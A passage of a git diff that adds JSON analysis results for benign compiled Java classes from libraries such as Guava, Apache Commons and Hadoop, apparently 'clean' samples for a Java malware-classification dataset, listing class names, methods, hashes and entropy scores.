"dd6f8de8-bdb2-45ca-8da5-36172ca2639c", "score": 0, "entropy": 5.902745914349383, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 17873, "ssdeep": "384:MFP64rDBIsGsGqi3tfP8ykRmcUl6HS5GT1P:MF0mOcNkcMgl", "sha256": "a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2", "md5": "bb768ebd3fa8b0665649dcae08273b1a", "parent_sha256": "a90c7d51004f0a51a1c777854d9b694e9634fa811cef15b7fec7dbde2b1d3fb2"}} \ No newline at end of file diff --git a/java_classification/data/clean/aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24.results b/java_classification/data/clean/aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24.results new file mode 100755 index 0000000..6e78124 --- /dev/null +++ b/java_classification/data/clean/aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/reflections/serializers/JsonSerializer$1$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/base/Supplier"], "sourcefile": "JsonSerializer.java", "method_names": ["", "get", "get"], "minor_version": 0, "const_pool_count": 45}}, "_id": "c861467d-93c1-4003-a27f-08f0768397ed", "verbose": {"java": {"signatures": ["()Ljava/util/Set;", "Ljava/lang/Object;Lcom/google/common/base/Supplier;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "26ca23e3d1a90e51dbfb70e2bf1039f949486aaa", "file_name": "java_clean/aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24", "_id": "c861467d-93c1-4003-a27f-08f0768397ed", "score": 0, "entropy": 5.155814012078484, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1202, "ssdeep": "24:bJhBD47hr421ulj5M4DxvKw7K+fnoB4U64kNecvbfn7zCcjgER4:Z6rx0lNMwoBD6BZj7zCet4", "sha256": "aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24", "md5": "86e0791acad25af9a2ca39457be21d4a", "parent_sha256": "aa93b2e4a6244e10264a5a3257fc820795fede4f9d7522966ec2ce5df8912f24"}} \ No newline at end of file diff --git a/java_classification/data/clean/ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa.results b/java_classification/data/clean/ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa.results new file mode 100755 index 0000000..4ccb48e --- /dev/null +++ b/java_classification/data/clean/ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/TestScreen$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "TestScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 43}}, "_id": "6426a6bf-a312-4083-9677-b8cd8e65e233", "metadata": {"mimetype": "application/x-java-applet", "sha1": "161f90c01bf13d78501fe2aaf21199692fc83e70", "file_name": "java_clean/ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa", "_id": "6426a6bf-a312-4083-9677-b8cd8e65e233", "score": 0, "entropy": 5.096352528796385, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 863, "ssdeep": "12:Pjw/Rgwzpsu4YuZ9lPsozLGgo3wCI3CZ3jPAubyiU1ijlMCm5Qk1LW//d:bQOwFsuNU9ljzLG13wj3CZUmWPwt", "sha256": "ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa", "md5": "02560db2184c05863be2f3f5ecf9b4fb", "parent_sha256": "ab3da205b6183525fe65b96137555f7b2d9b581db538d5059ed31ea6e6acddfa"}} \ No newline at end of file diff --git a/java_classification/data/clean/ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce.results b/java_classification/data/clean/ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce.results new file mode 100755 index 0000000..c72c9b6 --- /dev/null +++ b/java_classification/data/clean/ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/ResearchProductionScreen$28", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action1"], "sourcefile": "ResearchProductionScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 77}}, "_id": "b439575d-dac0-47d5-b1a5-79418d6b4a59", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Action1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7a666860067f13eeffab9d4d8609a9c138fdc481", "file_name": "java_clean/ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce", "_id": "b439575d-dac0-47d5-b1a5-79418d6b4a59", "score": 0, "entropy": 5.422532866066711, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1713, "ssdeep": "24:OhSqOwLhQiCNZbeYljeChzrMjVhnJ5tZweEz/EyroCFTzUDE1gg0lkQR+1OKyF1U:ySqOu3ONvlLofnP30jVXFvEynaPRKKdm", "sha256": "ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce", "md5": "ce0bafebe444948e907f5f61ccea67b5", "parent_sha256": "ab58648bd539e2e8f36c40d97c850d47f538a6d0292af647cefce64e1b52d0ce"}} \ No newline at end of file diff --git a/java_classification/data/clean/ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd.results b/java_classification/data/clean/ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd.results new file mode 100755 index 0000000..e28acd1 --- /dev/null +++ b/java_classification/data/clean/ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GuiSplash.java", "class_name": "GuiSplash$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "windowClosing"], "minor_version": 0, "const_pool_count": 36}}, "_id": "53bad778-f812-4b61-a864-570349804f51", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c7e378e3aadfe60acf47f8b9467f51a2c9dfe4f5", "file_name": "java_clean/ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd", "_id": "53bad778-f812-4b61-a864-570349804f51", "score": 0, "entropy": 5.003089228850612, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 625, "ssdeep": "12:Tx5QSDQulPsoxhkVRIR6J+VyiUAm6edW4Q7UScAVb9VZIi98:VGyQuljAZ41VQIVVRVZIi98", "sha256": "ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd", "md5": "f5af999fa770257b519494d7e00d4c86", "parent_sha256": "ab7eeb07e6f35f1e8bfc05a67915dc68090a0386638b968708add8383750cfdd"}} \ No newline at end of file diff --git a/java_classification/data/clean/abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7.results b/java_classification/data/clean/abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7.results new file mode 100755 index 0000000..bc8bf21 --- /dev/null +++ b/java_classification/data/clean/abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Maps$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/collect/Maps$EntryTransformer"], "sourcefile": "Maps.java", "method_names": ["", "transformEntry"], "minor_version": 0, "const_pool_count": 49}}, "_id": "0334b254-3fd0-4487-bea4-226b83a9c6ac", "verbose": {"java": {"signatures": ["(TK;TV1;)TV2;", "Ljava/lang/Object;Lcom/google/common/collect/Maps$EntryTransformer;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a25985d84077a32f86cd31f3c1d25e499fe2e0d6", "file_name": "java_clean/abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7", "_id": "0334b254-3fd0-4487-bea4-226b83a9c6ac", "score": 0, "entropy": 5.220209006237299, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1164, "ssdeep": "24:4ayQSNuulj4yrwBOyCZylbIQ//nLFyX2FjFYKxJbycrgB:4ax+Tlbwofq/jVBy1B", "sha256": "abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7", "md5": "6ed4137e13506699555eacd70e538c1e", "parent_sha256": "abd702d03ba1ea02922d1e963f1bfc43b63d1bd7e6f411a540c8cee8057240f7"}} \ No newline at end of file diff --git a/java_classification/data/clean/ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b.results b/java_classification/data/clean/ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b.results new file mode 100755 index 0000000..1f6011c --- /dev/null +++ b/java_classification/data/clean/ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TagFileProcessor.java", "class_name": "org/apache/jasper/compiler/TagFileProcessor$TagFileDirectiveVisitor$NameEntry", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "getType", "getNode", "getTagAttributeInfo"], "minor_version": 0, "const_pool_count": 42}}, "_id": "4b7cf905-ff79-404a-a836-e1630d781125", "metadata": {"mimetype": "application/x-java-applet", "sha1": "66ff87a2bf08610d3a8658b025a172c8d8bf2718", "file_name": "java_clean/ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b", "_id": "4b7cf905-ff79-404a-a836-e1630d781125", "score": 0, "entropy": 5.122887385324812, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1267, "ssdeep": "24:AKv1ARGjmRfuljNC/WZaZdEajROCpWSVRWuNRWLlFA9XLVQro7jl0XPue0bT:LmYq4lBnZaZXADSVsuNs0XCrel0h0bT", "sha256": "ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b", "md5": "71bf2887c0de2f3f749414214c69d969", "parent_sha256": "ac4b1b1f1a4b4e82ad8bf1e7242a03fd438c998c8765c2eec31ca3bec366915b"}} \ No newline at end of file diff --git a/java_classification/data/clean/ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f.results b/java_classification/data/clean/ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f.results new file mode 100755 index 0000000..5f17789 --- /dev/null +++ b/java_classification/data/clean/ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/MultiHashMap", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/collections/MultiMap"], "sourcefile": "MultiHashMap.java", "method_names": ["", "", "", "", "readObject", "totalSize", "getCollection", "size", "iterator", "put", "putAll", "containsValue", "containsValue", "remove", "clear", "values", "clone", "createCollection", "access$201"], "minor_version": 3, "const_pool_count": 224}}, "_id": "9750dba5-2cce-4265-8de7-fb9a0706614d", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["1.2", "java.version", "1.3"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "205f659bc94ba652bba5a2b0ee02961e21e98247", "file_name": "java_clean/ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f", "_id": "9750dba5-2cce-4265-8de7-fb9a0706614d", "score": 0, "entropy": 5.449795286473159, "libmagic": "compiled Java class data, version 45.3", "file_size": 5690, "ssdeep": "96:BqspdFlIdGIEWkfaRQAntI0/OEhdo5EKkTa0vN:B7VlBfaZICOEr133F", "sha256": "ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f", "md5": "03389e939200cf272d10c849d0e9b162", "parent_sha256": "ac6904d369f2b1fa38ce3c7659ff498acb32b83237fa9dff8df618298d46330f"}} \ No newline at end of file diff --git a/java_classification/data/clean/ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd.results b/java_classification/data/clean/ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd.results new file mode 100755 index 0000000..79f02ba --- /dev/null +++ b/java_classification/data/clean/ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "org/jboss/vfs/VFS$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedAction"], "sourcefile": "VFS.java", "method_names": ["", "run", "run"], "minor_version": 0, "const_pool_count": 42}}, "_id": "6c792b35-a78e-42db-804e-325e7a44b532", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Ljava/security/PrivilegedAction;"], "constant strings": ["jboss.vfs.forceCanonical"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5b10587bb85233ead8313d76430ac418a9eb5ccc", "file_name": "java_clean/ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd", "_id": "6c792b35-a78e-42db-804e-325e7a44b532", "score": 0, "entropy": 5.068027430253214, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 817, "ssdeep": "12:Am43SDQulPsoxhtps8TKPuy9rSeUDyiUN+pIpDRNlp7lMuDSuFUn9olzwSoFWwy:n43yQulj5pKGmrUZPipDzlp7py9olcy", "sha256": "ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd", "md5": "e15c07dfbba8871dae1b82519136a1e5", "parent_sha256": "ac7f0e62efee8e6dfe2b20d01cd868855876811b6f43d90128220b1155cc15cd"}} \ No newline at end of file diff --git a/java_classification/data/clean/ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7.results b/java_classification/data/clean/ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7.results new file mode 100755 index 0000000..424e4a9 --- /dev/null +++ b/java_classification/data/clean/ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/apache/oro/text/awk/OrNode", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "_nullable", "_firstPosition", "_lastPosition", "_followPosition", "_clone"], "minor_version": 0, "const_pool_count": 58}}, "_id": "91087bd6-add6-4d30-8803-bec1165dbd9c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8c9329b64ea4637655b53db3332d84fe20c21d85", "file_name": "java_clean/ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7", "_id": "91087bd6-add6-4d30-8803-bec1165dbd9c", "score": 0, "entropy": 5.356647195641797, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1047, "ssdeep": "24:IF5EmDm+hr5MgLB4VJCXjohT7tN7icFMc3mLa987e3PLe38+:25s014JCo3t9Fl3Cb7CLH+", "sha256": "ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7", "md5": "0d8c144307766d2364e23185890c4514", "parent_sha256": "ac92b4666e68aca8720902e8b5d769b8c7c5541807810330d116644410644ae7"}} \ No newline at end of file diff --git a/java_classification/data/clean/ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071.results b/java_classification/data/clean/ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071.results new file mode 100755 index 0000000..bd15da6 --- /dev/null +++ b/java_classification/data/clean/ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/fs/s3/MigrationTool$UnversionedStore", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/hadoop/fs/s3/MigrationTool$Store"], "sourcefile": "MigrationTool.java", "method_names": ["", "listAllPaths", "deleteINode", "delete", "retrieveINode", "get", "pathToKey", "keyToPath", "urlEncode", "urlDecode"], "minor_version": 0, "const_pool_count": 204}}, "_id": "2f5797e7-64ef-4ed9-af60-aef019dbe7f2", "verbose": {"java": {"signatures": ["()Ljava/util/Set;"], "constant strings": ["/", "NoSuchKey", "Path must be absolute: ", "UTF-8"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f8c6c228e81d727ddd2800e4d10da424dd615822", "file_name": "java_clean/ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071", "_id": "2f5797e7-64ef-4ed9-af60-aef019dbe7f2", "score": 0, "entropy": 5.582252808736529, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4645, "ssdeep": "96:kNxjl1IfDXQlgQKPsO3sGSA99UiwNudKp0y91rSt+ZGyHwUOc:4lTgdzvThO91IgGYwUOc", "sha256": "ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071", "md5": "2caff987af9140640e7ef2297eac1824", "parent_sha256": "ad07410b0ed59a20dd49fefa392a2fb8fdf270d0854c8f17242677123be62071"}} \ No newline at end of file diff --git a/java_classification/data/clean/ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80.results b/java_classification/data/clean/ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80.results new file mode 100755 index 0000000..b87af8a --- /dev/null +++ b/java_classification/data/clean/ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TOKENIZE.java", "class_name": "org/apache/pig/builtin/TOKENIZE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "outputSchema", "getArgToFuncMapping", "exec"], "minor_version": 0, "const_pool_count": 198}}, "_id": "0267766c-e304-4576-8981-81df06f92558", "verbose": {"java": {"signatures": ["()Ljava/util/List;", "Lorg/apache/pig/EvalFunc;"], "constant strings": ["Expected input to be chararray, but got ", " \",()*", "token", "tuple_of_tokens", "bag_of_tokenTuples", "Unable to compute TOKENIZE schema."], "JAVA String Analysis": {"combined strings entropy": 4.698155722496502}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "78339c86db93588a7e35893be965bf9bd8e82b83", "file_name": "java_clean/ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80", "_id": "0267766c-e304-4576-8981-81df06f92558", "score": 0, "entropy": 5.598429705380917, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4271, "ssdeep": "96:1iklpFl+nJRtRdZ841GMDDGMyOtvERevcL6NWBthSk7kElwNRy70RlFxFhVPCkAK:RRlEHs76StycXQpZbz8BYDg+ZL", "sha256": "ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80", "md5": "1bd05e853edba06a8c9b69a14c766267", "parent_sha256": "ad98fbfc4a16875d83b116111a4203328c54506f2f347ac37d6be09968f70b80"}} \ No newline at end of file diff --git a/java_classification/data/clean/ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a.results b/java_classification/data/clean/ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a.results new file mode 100755 index 0000000..88a7b32 --- /dev/null +++ b/java_classification/data/clean/ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/lib/HashMap$Values", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/hsqldb/lib/Collection"], "major_version": 46, "method_names": ["", "iterator", "size", "contains", "add", "addAll", "remove", "isEmpty", "clear"], "minor_version": 0, "const_pool_count": 55}}, "_id": "e9509453-ee8b-41c2-a3c6-dce208160c8a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3ed91eb3fa2a9e0c95a030855bdb13d1e7b4ff90", "file_name": "java_clean/ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a", "_id": "e9509453-ee8b-41c2-a3c6-dce208160c8a", "score": 0, "entropy": 5.167591784646775, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1073, "ssdeep": "24:2O7TcuoNAF+qk/71lRLozsyKsgK+QY+DAhR4UUTX:2O7TNoNfjxoARBQYVhR4UUTX", "sha256": "ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a", "md5": "004bc649e4554f8d0aa9b3d0030e2f6e", "parent_sha256": "ae3bae662e448cd93e8f9e7c35f5baa45f876a42f5496347743404905350dd3a"}} \ No newline at end of file diff --git a/java_classification/data/clean/ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9.results b/java_classification/data/clean/ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9.results new file mode 100755 index 0000000..20cb587 --- /dev/null +++ b/java_classification/data/clean/ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Iterables.java", "class_name": "com/google/common/collect/Iterables$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator"], "minor_version": 0, "const_pool_count": 44}}, "_id": "b5b35e33-3ed6-4156-99bd-864684b4e0dc", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;", "Lcom/google/common/collect/Iterables$IterableWithToString;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c31bcffd86eb75e0eeecf2cf8456afa60a045c72", "file_name": "java_clean/ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9", "_id": "b5b35e33-3ed6-4156-99bd-864684b4e0dc", "score": 0, "entropy": 5.1256031470647985, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1045, "ssdeep": "24:eGD3Gulj5d08di8mdiOUtedHdO8U8aakn:f3LlbZVbae", "sha256": "ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9", "md5": "a87197ef2f0a85cc025b1c96a3577ea8", "parent_sha256": "ae5c86049929a694a465ad4903e6a7ca1ec73278e9e4b21c771f028efdd2beb9"}} \ No newline at end of file diff --git a/java_classification/data/clean/ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6.results b/java_classification/data/clean/ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6.results new file mode 100755 index 0000000..0c83728 --- /dev/null +++ b/java_classification/data/clean/ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HelpLine.java", "class_name": "org/apache/commons/cli2/HelpLine", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["getDescription", "getIndent", "getOption", "usage"], "minor_version": 0, "const_pool_count": 15}}, "_id": "2644c2bf-53a8-415a-b008-21593bde0208", "metadata": {"mimetype": "application/x-java-applet", "sha1": "428973e4e1850a70eff5e92eaca464c1f6dace2d", "file_name": "java_clean/ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6", "_id": "2644c2bf-53a8-415a-b008-21593bde0208", "score": 0, "entropy": 5.015227417050859, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 328, "ssdeep": "6:OG/82a2XMOA6hYxeATTW8zOWTW1IXMOVooZ3TzfbRPAnBHluR:OGzpMOA6qWiFMOCohbRonBHq", "sha256": "ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6", "md5": "b32a5b27156447915f97a7295e3ac46e", "parent_sha256": "ae9f330d458354d38fba01eb819dd54407749444fa0491aa767d53c7fd5ad3e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4.results b/java_classification/data/clean/af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4.results new file mode 100755 index 0000000..5355c77 --- /dev/null +++ b/java_classification/data/clean/af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JsScopeUiDatePickerOnChangeEvent.java", "class_name": "org/odlabs/wiquery/ui/datepicker/scope/JsScopeUiDatePickerOnChangeEvent", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "quickScope", "quickScope"], "minor_version": 0, "const_pool_count": 49}}, "_id": "519b0222-4b7b-471e-8b1d-194c882c15dd", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "inst"}}}, "constant strings": ["year", "month", "inst"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1546755f039646482e97f752263e5a1116eac1ab", "file_name": "java_clean/af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4", "_id": "519b0222-4b7b-471e-8b1d-194c882c15dd", "score": 0, "entropy": 5.307405784085793, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1374, "ssdeep": "24:bGrqfKyQulj6Enho2EnhM0oEnhNfb0yW5fEnhuJEnh9cEnhS+0QOEQf2:iOfKyFlNhEhVhnWmhuWh9zhXOo", "sha256": "af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4", "md5": "8bde9aa376d6166d2a288c82cca79d1e", "parent_sha256": "af09322b4495d1b5fed2096548e6d84a98c76626d878fe7a597a5f81d2dbb7f4"}} \ No newline at end of file diff --git a/java_classification/data/clean/af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b.results b/java_classification/data/clean/af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b.results new file mode 100755 index 0000000..81048b8 --- /dev/null +++ b/java_classification/data/clean/af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SyncState.java", "class_name": "com/jcraft/jogg/SyncState", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "clear", "buffer", "wrote", "pageseek", "pageout", "reset", "init", "getDataOffset", "getBufferOffset"], "minor_version": 0, "const_pool_count": 105}}, "_id": "ccab2416-fcde-4e63-a856-8500d6b8c65e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "28493e70ae41c66af8ec9030df421d7b8569216d", "file_name": "java_clean/af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b", "_id": "ccab2416-fcde-4e63-a856-8500d6b8c65e", "score": 0, "entropy": 5.425130244424392, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3309, "ssdeep": "96:hVGMsAlloXFV1ZdDJLmjcU/API8m1CKeNwAAa:DcAllEv1ZxtmjLZ8m8Ka", "sha256": "af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b", "md5": "ac7423038a6092ee5f9d888987e664e8", "parent_sha256": "af7457a94977cf9820bac8ca7b783706f87de03e80479e7acbae52f1faea1e0b"}} \ No newline at end of file diff --git a/java_classification/data/clean/afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253.results b/java_classification/data/clean/afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253.results new file mode 100755 index 0000000..897cd48 --- /dev/null +++ b/java_classification/data/clean/afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/tree/AbstractEntity", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["org/dom4j/Entity"], "sourcefile": "AbstractEntity.java", "method_names": ["", "getNodeType", "getPath", "getUniquePath", "toString", "getStringValue", "asXML", "write", "accept"], "minor_version": 0, "const_pool_count": 89}}, "_id": "c0663296-e3cb-4001-a41b-aa74b2b36099", "verbose": {"java": {"constant strings": ["/text()", "text()", " [Entity: &", ";]", "&", ";"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "239e183d9d8a8f710946e77de8fbd2fd76ae44e6", "file_name": "java_clean/afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253", "_id": "c0663296-e3cb-4001-a41b-aa74b2b36099", "score": 0, "entropy": 5.1597322944286, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1868, "ssdeep": "48:yJ9PUyFlcK5wIG6/AjtoSg7N/EYeekehwFDZJckoy1GIINO0s4OAsCC:cFlcKKIG6MxkN/EYXhWEma7J/9C", "sha256": "afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253", "md5": "7ded706069959135a445f445648502ba", "parent_sha256": "afddcc325df0020ae329b78b319208497b932a73a0977892c081df4c3df9e253"}} \ No newline at 